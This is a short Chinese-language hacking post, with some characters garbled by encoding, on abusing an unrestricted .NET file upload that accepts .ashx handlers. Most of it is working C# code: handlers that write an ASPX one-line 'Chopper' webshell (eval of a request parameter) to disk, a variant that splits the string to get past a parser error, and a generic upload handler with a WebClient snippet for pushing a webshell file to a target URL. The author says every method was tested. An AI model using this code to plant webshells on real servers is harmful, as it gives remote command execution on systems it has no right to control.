.Net環(huán)境,上傳處未限制Ashx和Asmx，后者上傳無法運(yùn)行，提示Asmx腳本只能在本地運(yùn)行，于是打算先傳個(gè)Ashx腳本然后在當(dāng)前目錄下生成Aspx文件(目標(biāo)不能執(zhí)行Asp文件)，網(wǎng)上找到如下Ashx代碼:
<%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("root.aspx"));
file1.Write("<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"pass\"],\"unsafe\");%>");
file1.Flush();
file1.Close();
}
public bool IsReusable {
get {
return false;
}
}
}
我將腳本中的Asp一句話改成菜刀的Aspx一句話~不過執(zhí)行的時(shí)候爆錯(cuò)，說未知指令@Page。遂采用一下2種方式解決：
1，用String連接字符串
<%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
string show="<% @Page Language=\"Jscript\"%"+"><%eval(Request.Item"+"[\"chopper\"]"+",\"unsafe\");%>";
StreamWriter file1= File.CreateText(context.Server.MapPath("root.aspx"));
file1.Write(show);
file1.Flush();
file1.Close();
}
public bool IsReusable {
get {
return false;
}
}
}
2.比較笨的方法，看代碼吧
<%@ WebHandler Language="C#" Class="Uploader" %>
using System;
using System.IO;
using System.Web;
public class Uploader : IHttpHandler
{
public void ProcessRequest(HttpContext hc)
{
foreach (string fileKey in hc.Request.Files)
{
HttpPostedFile file = hc.Request.Files[fileKey];
file.SaveAs(Path.Combine(hc.Server.MapPath("."), file.FileName));
}
}
public bool IsReusable
{
get { return true; }
}
}
然后用VS建立WinForm程序~主函數(shù)里寫：
System.Net.WebClient myWebClient = new System.Net.WebClient();
myWebClient.UploadFile("http://www.x#/Uploader.ashx", "POST", "C:\\ma.aspx");
執(zhí)行就可以了~以上方法均測試成功~
